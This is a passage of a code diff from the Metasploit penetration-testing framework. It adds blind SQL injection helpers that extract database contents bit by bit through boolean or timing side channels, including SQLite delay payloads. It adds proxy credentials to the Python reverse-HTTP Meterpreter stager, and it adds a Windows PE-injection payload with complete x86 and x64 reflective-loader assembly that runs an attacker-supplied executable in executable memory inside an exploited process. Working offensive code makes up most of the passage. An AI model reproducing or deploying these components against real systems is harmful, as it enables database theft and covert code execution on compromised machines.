# @return [SQLi::SQLitei::TimeBasedBlind]
#
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
super
if opts[:heavyquery_parameter]
@heavyquery_parameter = opts[:heavyquery_parameter]
else
detect_heavyquery_parameter
end
vprint_status "randomblob parameter: #{@heavyquery_parameter}"
end
#
# This method checks if the target is vulnerable to Blind time-based injection by checking if
# the target sleeps only when a given condition is true.
# @return [Boolean] whether the target is detected as vulnerable or not
#
def test_vulnerable
# run_sql and check if output is what's expected, or just check for delays?
out_true = blind_request("1=1 and randomblob(#{@heavyquery_parameter})")
out_false = blind_request("1=2 and randomblob(#{@heavyquery_parameter})")
out_true && !out_false
end
private
#
# Detects the parameter to pass to randomblob to get a delay of datastore['SqliDelay'], and sets @heavyquery_parameter
# @return [nil]
#
def detect_heavyquery_parameter
@heavyquery_parameter = 10000000
max_tries = 100
loop do
break if HEAVYQUERY_DETECTION_SAMPLE.times.all? { blind_request("randomblob(#{@heavyquery_parameter})") }
@heavyquery_parameter *= 2
max_tries -= 1
if max_tries == 0
fail_with Failure::Unknown, 'Could not detect the heavyquery parameter after 100 tries'
end
end
@heavyquery_parameter = @heavyquery_parameter * 3 / 2 # for safety
nil
end
end
@@ -0,0 +1,49 @@
require 'msf/core/exploit/sqli/utils/common'
module Msf::Exploit::SQLi
#
# This mixin provides some methods used by boolean-based blind SQL injection implementations that are
# the same across implementations.
#
module BooleanBasedBlindMixin
#
# Gets the output of the given SQL query, in a boolean-based blind manner.
# The block given to initialize must return true if querying its parameter
# gave a result, false otherwise.
# @param query [String] The SQL query to execute
# @param output_charset [Range] The range of characters to expect in the output, optional
# can improve performance a lot, as fewer bits need to be guessed on each character.
# example : ('0' .. '9') if you know the output of your query contains only numeric characters
# @return [String] The query results
#
def run_sql(query, output_charset: nil)
if output_charset.is_a?(Range) && output_charset.count > 0
known_bits, bits_to_guess = Msf::Exploit::SQLi::Utils::Common.get_bitmask(output_charset)
else
known_bits = 0
bits_to_guess = 8
end
vprint_status "{SQLi} Executing (#{query})"
if @hex_encode_strings
query = hex_encode_strings(query)
vprint_status "{SQLi} Encoded to (#{query})"
end
# first, get the length of the output
output_length = blind_detect_length(query, false)
vprint_status "{SQLi} Boolean-based injection: expecting output of length #{output_length}"
# now, get the output, of the given length
blind_dump_data(query, output_length, known_bits, bits_to_guess, false)
end
#
# Performs one request, should leak one bit of information
# (if return value is not false or nil, 1, 0 otherwise)
# @param query [String] The SQL query to run
# @return [Object] should return a true value if the query returned a result, false or nil otherwise
#
def blind_request(query)
@query_proc.call(query)
end
end
end
+30
View File
@@ -0,0 +1,30 @@
module Msf::Exploit::SQLi::Utils
#
# This module provides utilities used by the SQL injection library, none of the utilities are specific to SQL injection
#
module Common
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
#
# Helper method, from a range of characters, returns the MSBs that are common to all of them, and the number of changing bits
# @param range [Range] the range of characters you expect in the output of the query
# @return [Array] an array with two integers, the bitmask consisting of bits not changing between characters in the range, and the number of bits changing
#
def self.get_bitmask(range)
if range.begin.is_a?(String)
range = range.map(&:ord)
else
range = range.to_a
end
raise ArgumentError, 'Invalid range' unless range.first >= 0 && range.last <= 255
# the low bits that change between the ascii codes
bitmask = range.each_cons(2).inject(0) { |m, (v1, v2)| m | (v1 ^ v2) }
# the bits that remain the same
known_bits = range[0] & ~bitmask
bits_to_guess = BIT_COUNTS[bitmask]
[known_bits, bits_to_guess]
end
end
end
@@ -0,0 +1,47 @@
require 'msf/core/exploit/sqli/utils/common'
module Msf::Exploit::SQLi
#
# This module provides methods that are used for time-based SQL injections, and are common across dbms-specific implementations.
#
module TimeBasedBlindMixin
#
# Runs an SQL query, and returns its results (time-based blind technique)
#
# @param query [String] The SQL query to execute
# @param output_charset [Range] The range of characters to expect in the output, optional
# @return [String] The query result
#
def run_sql(query, output_charset: nil)
if output_charset.is_a?(Range) && output_charset.count > 0
known_bits, bits_to_guess = Msf::Exploit::SQLi::Utils::Common.get_bitmask(output_charset)
else
known_bits = 0
bits_to_guess = 8
end
vprint_status "{SQLi} Executing (#{query})"
if @hex_encode_strings
query = hex_encode_strings(query)
vprint_status "{SQLi} Encoded to (#{query})"
end
# first, get the length of the output
output_length = blind_detect_length(query, true)
vprint_status "{SQLi} Time-based injection: expecting output of length #{output_length}"
# now, get the output, of the given length
blind_dump_data(query, output_length, known_bits, bits_to_guess, true)
end
#
# Performs one request, and does timing measurement, should leak one bit of information
# @param query [String] The SQL query to run
# @return [Boolean] Whether the target slept when queried with the given payload
#
def blind_request(query)
time = Time.now
@query_proc.call(query)
diff = Time.now - time
diff >= datastore['SqliDelay']
end
end
end
+50 -20
View File
@@ -1,3 +1,5 @@
# -*- coding: binary -*-
require 'msf/core/modules/metadata'
#
@@ -16,6 +18,11 @@ module Msf::Modules::Metadata::Search
"aux" => Msf::MODULE_AUX
}
module SearchMode
INCLUDE = 0
EXCLUDE = 1
end
#
# Parses command line search string into a hash. A param prefixed with '-' indicates "not", and will omit results
# matching that keyword. This hash can be used with the find command.
@@ -52,9 +59,9 @@ module Msf::Modules::Metadata::Search
res[keyword] ||=[ [], [] ]
if search_term[0,1] == "-"
next if search_term.length == 1
res[keyword][1] << search_term[1,search_term.length-1]
res[keyword][SearchMode::EXCLUDE] << search_term[1,search_term.length-1]
else
res[keyword][0] << search_term
res[keyword][SearchMode::INCLUDE] << search_term
end
end
res
@@ -87,22 +94,41 @@ module Msf::Modules::Metadata::Search
param_hash = params
[0,1].each do |mode|
[SearchMode::INCLUDE, SearchMode::EXCLUDE].each do |mode|
match = false
param_hash.keys.each do |keyword|
next if param_hash[keyword][mode].length == 0
# free form text search will honor 'and' semantics, i.e. 'metasploit pro' will only match modules that contain both
# words, and will return false when only one word is matched
if keyword == 'text'
text_segments = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
if module_metadata.targets
text_segments = text_segments + module_metadata.targets
end
param_hash[keyword][mode].each do |search_term|
has_match = text_segments.any? { |text_segment| text_segment =~ as_regex(search_term) }
match = [keyword, search_term] if has_match
if mode == SearchMode::INCLUDE && !has_match
return false
end
if mode == SearchMode::EXCLUDE && has_match
return false
end
end
next
end
# The remaining keywords honor 'or' semantics, i.e. the following param_hash will match either osx, or linux
# {"platform"=>[["osx", "linux"], []]}
param_hash[keyword][mode].each do |search_term|
# Reset the match flag for each keyword for inclusive search
match = false if mode == 0
match = false if mode == SearchMode::INCLUDE
# Convert into a case-insensitive regex
utf8_buf = search_term.dup.force_encoding('UTF-8')
if utf8_buf.valid_encoding?
regex = Regexp.new(Regexp.escape(utf8_buf), true)
else
return false
end
regex = as_regex(search_term)
case keyword
when 'aka'
match = [keyword, search_term] if (module_metadata.notes['AKA'] || []).any? { |aka| aka =~ regex }
@@ -176,13 +202,6 @@ module Msf::Modules::Metadata::Search
match = [keyword, search_term] if module_metadata.references.any? { |ref| ref =~ regex }
when 'target', 'targets'
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
when 'text'
terms = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
if module_metadata.targets
terms = terms + module_metadata.targets
end
match = [keyword, search_term] if terms.any? { |term| term =~ regex }
when 'type'
match = [keyword, search_term] if Msf::MODULE_TYPES.any? { |module_type| search_term == module_type and module_metadata.type == module_type }
else
@@ -192,12 +211,12 @@ module Msf::Modules::Metadata::Search
break if match
end
# Filter this module if no matches for a given keyword type
if mode == 0 and not match
if mode == SearchMode::INCLUDE and not match
return false
end
end
# Filter this module if we matched an exclusion keyword (-value)
if mode == 1 and match
if mode == SearchMode::EXCLUDE and match
return false
end
end
@@ -205,6 +224,17 @@ module Msf::Modules::Metadata::Search
true
end
def as_regex(search_term)
# Convert into a case-insensitive regex
utf8_buf = search_term.dup.force_encoding('UTF-8')
if utf8_buf.valid_encoding?
Regexp.new(Regexp.escape(utf8_buf), Regexp::IGNORECASE)
else
# If the encoding is invalid, default to a regex that matches anything
//
end
end
def get_fields(module_metadata, fields)
selected_fields = {}
+5 -3
View File
@@ -12,12 +12,14 @@ module Msf::Payload::Python
# @param cmd [String] The python code to execute.
# @return [String] Full python stub to execute the command.
#
def py_create_exec_stub(cmd)
def self.create_exec_stub(cmd)
# Base64 encoding is required in order to handle Python's formatting
b64_stub = "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(cmd)}')[0]))"
b64_stub
end
def py_create_exec_stub(cmd)
Msf::Payload::Python.create_exec_stub(cmd)
end
end
@@ -71,7 +71,7 @@ module Payload::Python::MeterpreterLoader
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\'))
}
unless ds['MeterpreterTryToFork']
@@ -102,6 +102,8 @@ module Payload::Python::MeterpreterLoader
http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser']
http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass']
http_header_host = opts[:header_host] || ds['HttpHostHeader']
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
http_header_referer = opts[:header_referer] || ds['HttpReferer']
@@ -125,8 +127,14 @@ module Payload::Python::MeterpreterLoader
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
http_proxy_url = "http://"
unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == ''
http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@"
end
http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host)
http_proxy_url << ":#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'")
end
end
+22 -5
View File
@@ -15,6 +15,7 @@ module Payload::Python::ReverseHttp
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
deregister_options('HttpProxyType')
end
#
@@ -27,6 +28,8 @@ module Payload::Python::ReverseHttp
port: ds['LPORT'],
proxy_host: ds['HttpProxyHost'],
proxy_port: ds['HttpProxyPort'],
proxy_user: ds['HttpProxyUser'],
proxy_pass: ds['HttpProxyPass'],
user_agent: ds['HttpUserAgent'],
header_host: ds['HttpHostHeader'],
header_cookie: ds['HttpCookie'],
@@ -74,15 +77,22 @@ module Payload::Python::ReverseHttp
# required opts:
# proxy_host, proxy_port, scheme, user_agent
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
txt.gsub('\\', '\\' * 4).gsub('\'', %q(\\\'))
}
proxy_host = opts[:proxy_host]
proxy_port = opts[:proxy_port]
proxy_user = opts[:proxy_user]
proxy_pass = opts[:proxy_pass]
urllib_fromlist = ['\'build_opener\'']
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
if proxy_host.to_s != ''
urllib_fromlist << '\'ProxyHandler\''
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
urllib_fromlist << '\'ProxyBasicAuthHandler\''
end
end
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
cmd = "import zlib,base64,sys\n"
@@ -100,10 +110,17 @@ module Payload::Python::ReverseHttp
end
if proxy_host.to_s != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
proxy_url = "http://"
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
proxy_url << "#{Rex::Text.uri_encode(proxy_user)}:#{Rex::Text.uri_encode(proxy_pass)}@"
end
proxy_url << (Rex::Socket.is_ipv6?(proxy_host) ? "[#{proxy_host}]" : proxy_host)
proxy_url << ":#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
cmd << "hs.append(ul.ProxyBasicAuthHandler())\n"
end
end
headers = []
+156
View File
@@ -0,0 +1,156 @@
# -*- coding: binary -*-
require 'msf/core/payload/windows'
module Msf
class OptInjectablePE < OptPath
def initialize(*args, arch:, **kwargs)
@arch = arch
super(*args, **kwargs)
end
def self.assert_compatible(pe, arch)
unless (arch == ARCH_X86 && pe.ptr_32?) || (arch == ARCH_X64 && pe.ptr_64?)
raise Msf::ValidationError, "Selected PE file is not #{arch}"
end
# TODO: Add reflective CLR loading support
unless pe.hdr.opt['DataDirectory'][14].v['Size'] == 0
raise Msf::ValidationError, 'PE files with CLR are not currently supported'
end
unless pe.hdr.opt['DataDirectory'][5].v['Size'] != 0
raise Msf::ValidationError, 'PE file is missing relocation data'
end
unless pe.hdr.opt['DataDirectory'][11].v['Size'] == 0
raise Msf::ValidationError, 'PE file contains bounded imports'
end
unless pe.hdr.opt['DataDirectory'][9].v['Size'] == 0
tls_offset = pe.rva_to_file_offset(pe.hdr.opt['DataDirectory'][9].v['VirtualAddress'])
unless tls_offset.to_i == 0
tls_callback_table_offset = ''
if arch == ARCH_X86
tls_callback_table_offset = pe.read(tls_offset + 4, 4)
else
tls_callback_table_offset = pe.read(tls_offset + 12, 12)
end
unless tls_callback_table_offset.to_i == 0
unless pe.read(tls_callback_table_offset, 4).to_i == 0
raise Msf::ValidationError, 'PE file contains TLS callbacks'
end
end
end
end
end
def valid?(value, check_empty: nil)
return false unless super
return false unless File.exist?(File.expand_path(value)) # no memory: locations
begin
self.class.assert_compatible(Rex::PeParsey::Pe.new_from_file(value, true), @arch)
rescue Msf::ValidationError
return false
end
true
end
end
###
#
# Reflective PE module injects a custom native PE file into the exploited process using a reflective PE loader stub
#
###
module Payload::Windows::PEInject
def initialize(info = {})
super
register_options([
OptInjectablePE.new('PE', [ true, 'The local path to the PE file to upload' ], arch: arch.first)
], self.class)
end
#
# Returns the PE file path
#
def pe_path
datastore['PE']
end
#
# Transmits the reflective PE payload to the remote
# computer so that it can be loaded into memory.
#
def handle_connection(conn, _opts = {})
data = ''
begin
File.open(pe_path, 'rb') do |f|
data += f.read
end
rescue StandardError
print_error("Failed to load PE: #{$ERROR_INFO}.")
elog('Failed to load the PE file', error: e)
return
end
print_status('Premapping PE file...')
pe_map = create_pe_memory_map(data)
print_status("Mapped PE size #{pe_map[:bytes].length}")
opts = {}
opts[:is_dll] = pe_map[:is_dll]
opts[:exitfunk] = datastore['EXITFUNC']
p = encapsulate_reflective_stub(pe_map[:bytes], opts)
print_status("Uploading reflective PE (#{p.length} bytes)...")
# Send the size of the thing we're transferring
conn.put([ p.length ].pack('V'))
# Send the image name + image
conn.put(p)
print_status('Upload completed')
ensure
conn.close
end
def create_pe_memory_map(file)
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(file))
begin
OptInjectablePE.assert_compatible(pe, arch.first)
rescue Msf::ValidationError => e
print_error("PE validation error: #{e.message}")
raise
end
pe_map = {}
pe_map[:bytes] = ''
pe_map[:is_dll] = pe._file_header.v['Characteristics'] == (pe._file_header.v['Characteristics'] | 0x2000)
vprint_status("PE Characteristics: #{'0x%.8x' % pe._file_header.v['Characteristics']}")
offset = 0
virtual_offset = pe.image_base
vprint_status("ImageBase: 0x#{pe.image_base.to_s(16)}")
vprint_status("SizeOfImage: 0x#{pe._optional_header.v['SizeOfImage'].to_s(16)}")
vprint_status("#{pe.sections.first.name} VMA: 0x#{(pe.image_base + pe.sections.first.vma).to_s(16)}")
vprint_status("#{pe.sections.first.name} Offset: 0x#{pe.sections.first.file_offset.to_s(16)}")
until offset == pe.sections.first.file_offset
pe_map[:bytes] << file[offset]
virtual_offset += 1
offset += 1
end
# Map PE sections
pe.sections.each do |sec|
pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base) - virtual_offset)
virtual_offset = sec.vma + pe.image_base
pe_map[:bytes] << sec.read(0, sec.raw_size)
virtual_offset += sec.raw_size
pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base + sec.size) - virtual_offset)
virtual_offset = sec.vma + pe.image_base + sec.size
end
pe_map[:bytes] << "\x00" * ((pe.image_base + pe._optional_header.v['SizeOfImage']) - virtual_offset)
pe_map
end
end
end
@@ -0,0 +1,172 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
module Msf
module Payload::Windows::ReflectivePELoader
include Payload::Windows::BlockApi
def asm_reflective_pe_loader(opts)
prologue = ''
if opts[:is_dll] == true
prologue = %(
push edi ; AOE
sub [esp],eax ; hinstDLL
push 0x01 ; fdwReason
push 0x00 ; lpReserved
)
end
%^
stub:
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call $+5 ; Push the current EIP to stack
sub [esp],esi ; Subtract &PE from EIP and get image_size
call start ; Push the address of API to stack
#{asm_block_api}
start: ;
pop ebp ; Get the address of api to ebp
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push 0x40 ; PAGE_EXECUTE_READ_WRITE
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
push dword [esp+12] ; dwSize
push 0x00 ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
push eax ; Save the new image base to stack
xor edx,edx ; Zero out the edx
relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
calc_delta:
mov edi,[esp] ; Move the new base address to EDI
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,0x08 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp ecx,eax ; Check if the end of the reloc section ?
jle reloc_fin ; If yes goto fin
add esp,0x08 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,0x08 ; Move 8 bytes
fix:
cmp word [esp],0x08 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx, 0x00 ; Check if it is a padding word
je pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
pass:
sub dword [esp],0x02 ; Decrease the index
add eax,0x02 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
pop eax ; Deallocate all vars
pop eax ; ...
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; ror13( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')} ; ror13( "kernel32.dll", "GetProcAddress" )
call ebp ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
PE_Start:
#{prologue}
call edi ; Call PE AOE
push 0x00 ; dwExitCode
push #{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
call api_call ; Call the exit funk based on exit_type
^
end
end
end
@@ -0,0 +1,173 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
module Msf
module Payload::Windows::ReflectivePELoader_x64
include Payload::Windows::BlockApi_x64
def asm_reflective_pe_loader_x64(opts)
prologue = ''
if opts[:is_dll] == true
prologue = %(
mov rcx,r13 ; hinstDLL
mov rdx,0x01 ; fdwReason
xor r8,r8 ; lpReserved
)
end
%^
stub:
pop rsi ; Get the address of image to rsi
call $+5 ; Push the current RIP value to stack
cld ; Clear direction flags
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
mov rdx,[rsp] ; dwSize
xor rcx,rcx ; lpAddress
xchg rsp,rbp ; Swap shadow stack
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
xchg rsp,rbp ; Swap shadow stack
mov rdi,rax ; Save the new base address to rdi
xor rax,rax ; Zero out the RAX
xor r8,r8 ; Zero out the R8
xor r13,r13 ; Zero out the R13
xor r14,r14 ; Zero out the R14
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
calc_delta:
mov rdx,rdi ; Move the new base address to rdx
sub rdx,rbx ; Delta value
mov r13d,dword [rax] ; Move the reloc RVA to R13D
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
add rax,0x08 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp rcx,rax ; Check if the end of the reloc section
jle reloc_fin ; If yes goto fin
mov r13d,dword [rax] ; Move the new reloc RVA
mov r14d,dword [rax+4] ; Move the new reloc table size
add rax,0x08 ; Move 8 bytes
fix:
cmp r14w,0x08 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to r8w
cmp r8w, 0x00 ; Check if it is a padding word
je pass ; Pass padding bytes
and r8w,0x0FFF ; Get the last 12 bits
add r8d,r13d ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add [r8],rdx ; Add the delta value to calculated absolute address
pass:
sub r14d,0x02 ; Decrease the index
add rax,0x02 ; Move to the next reloc desc.
xor r8,r8 ; Zero out r8
jmp fix ; Loop
reloc_fin: ; All done !
xor r14,r14 ; Zero out r14
xor r15,r15 ; Zero out r15
xor rcx,rcx ; Zero out rcx
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp get_modules ; Get other modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,63 ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,0x08 ; Increase the IAT index
add r15,0x08 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov qword [r14],0x00 ; Insert a NULL dword
ret ; <-
LoadLibraryA:
;mov rcx,rax ; Move the address of library name string to RCX
xchg rbp,rsp ; Swap shadow stack
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
call api_call ; GetProcAddress(ebx,[esp+4])
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rcx ; Pop the ImageSize into RCX
push rdi ; Save ImageBase to stack
mov r13,rdi ; Copy the new base value to r13
add r13,r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0x00 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
loop memcpy ; Loop until zero
PE_start:
pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress
xor r8,r8 ; hProcess
xchg rbp,rsp ; Swap shadow stack
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'FlushInstructionCache')}
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
#{prologue}
add r13,r12 ; Add the address of entry value to image base
call r13 ; Call the AOE
and rsp,-0x10 ; Align stack
mov rcx,0x00 ; dwExitCode
mov r10d,#{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
call api_call ; Call exit funk based on exit_type
#{asm_block_api}
^
end
end
end
@@ -13,15 +13,24 @@ class Auxiliary
include Msf::Ui::Console::ModuleCommandDispatcher
